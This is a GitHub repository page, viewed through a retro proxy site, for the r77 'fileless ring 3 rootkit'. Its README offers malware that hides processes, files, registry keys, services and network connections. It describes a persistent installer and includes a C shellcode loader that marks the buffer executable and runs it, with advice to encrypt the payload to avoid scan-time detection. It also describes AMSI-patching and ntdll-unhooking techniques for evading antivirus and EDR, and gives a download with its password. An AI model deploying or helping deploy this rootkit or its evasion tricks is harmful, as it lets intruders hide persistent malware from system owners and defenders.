GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — GitHub - bytecode77/r77-rootkit: Fileless ring 3 rootkit with installer and persistence that hides processes, files, network connections, etc.

BranchesTags
Open more actions menu

Latest commit

 

History

172 Commits
172 Commits

Folders and files

NameName
Last commit message
Last commit date
$Docs
$Docs
 
 
$Examples
$Examples
 
 
BuildTask
BuildTask
 
 
Example
Example
 
 
Global
Global
 
 
Helper
Helper
 
 
Helper32
Helper32
 
 
Helper64
Helper64
 
 
Install
Install
 
 
InstallShellcode
InstallShellcode
 
 
ReflectiveDllMain
ReflectiveDllMain
 
 
Service
Service
 
 
Service32
Service32
 
 
Service64
Service64
 
 
SlnBin
SlnBin
 
 
Stager
Stager
 
 
TestConsole
TestConsole
 
 
TestConsoleLauncher
TestConsoleLauncher
 
 
Unhook
Unhook
 
 
Uninstall
Uninstall
 
 
Uninstall64
Uninstall64
 
 
r77-x64
r77-x64
 
 
r77-x86
r77-x86
 
 
r77
r77
 
 
r77api
r77api
 
 
.gitattributes
.gitattributes
 
 
.gitignore
.gitignore
 
 
LICENSE.md
LICENSE.md
 
 
README.md
README.md
 
 
r77.slnx
r77.slnx
 
 

Repository files navigation

r77 Rootkit

Fileless ring 3 rootkit

r77 is a ring 3 rootkit that hides everything:

  • Files, directories
  • Processes & CPU/GPU usage
  • Registry keys & values
  • Services
  • TCP & UDP connections
  • Junctions, named pipes, scheduled tasks

Hiding by prefix

Everything that starts with "$77" is hidden.

Configuration System

The dynamic configuration system allows to hide processes by PID and by name, file system items by full path, TCP & UDP connections of specific ports, etc.

The configuration is located in HKEY_LOCAL_MACHINE\SOFTWARE\$77config and is writable by any process without elevated privileges. The DACL of this key is set to grant full access to any user.

In addition, the $77config key is hidden by the rootkit.

Installer

The deployment of r77 requires only one file: Install.exe. Execution persists r77 on the system and injects all running processes.

Uninstall.exe removes r77 from the system completely, and gracefully.

Install.shellcode is the shellcode equivalent of the installer. This way, the installation can be integrated without dropping Install.exe. The shellcode can simply be loaded into memory, casted to a function pointer, and executed:

int main()
{
	// 1. Load Install.shellcode from resources or from a BYTE[]
	// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
	LPBYTE shellCode = ...

	// 2. Make the shellcode RWX.
	DWORD oldProtect;
	VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);

	// 3. Cast the buffer to a function pointer and execute it.
	((void(*)())shellCode)();

	// This is the fileless equivalent to executing Install.exe.

	return 0;
}

Execution flow

The rootkit resides in the system memory and does not write any files to the disk. This is achieved in multiple stages.

This graph shows each stage from the execution of the installer all the way down to the rootkit DLL running in every process. The documentation has a chapter with extensive detail about the implementation of each stage.

AV/EDR evasion

Several AV and EDR evasion techniques are in use:

  • AMSI bypass: The PowerShell inline script disables AMSI by patching amsi.dll!AmsiScanBuffer to always return AMSI_RESULT_CLEAN. Polymorphism is used to evade signature detection of the AMSI bypass.
  • DLL unhooking: Since EDR solutions monitor API calls by hooking ntdll.dll, these hooks need to be removed by loading a fresh copy of ntdll.dll from disk and restoring the original section. Otherwise, process injection would be detected.

Test environment

The Test Console is a useful tool to inject r77 into individual processes and to test drive the configuration system.

Technical Documentation

Please read the technical documentation to get a comprehensive and full overview of r77 and its internals, and how to deploy and integrate it.

Downloads

r77 Rootkit 1.8.2.zip (ZIP Password: bytecode77)
Technical Documentation

Project Page

bytecode77.com/r77-rootkit

About

Fileless ring 3 rootkit with installer and persistence that hides processes, files, network connections, etc.

bytecode77.com/r77-rootkit

Topics

av-evasionfilelessrootkit

Resources

Readme
MIT license
Activity

Stars

2.2k stars

Watchers

43 watching

Forks

466 forks
Report repository

Releases

Packages

Used by

Contributors

Languages

You are visitor 01402503 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.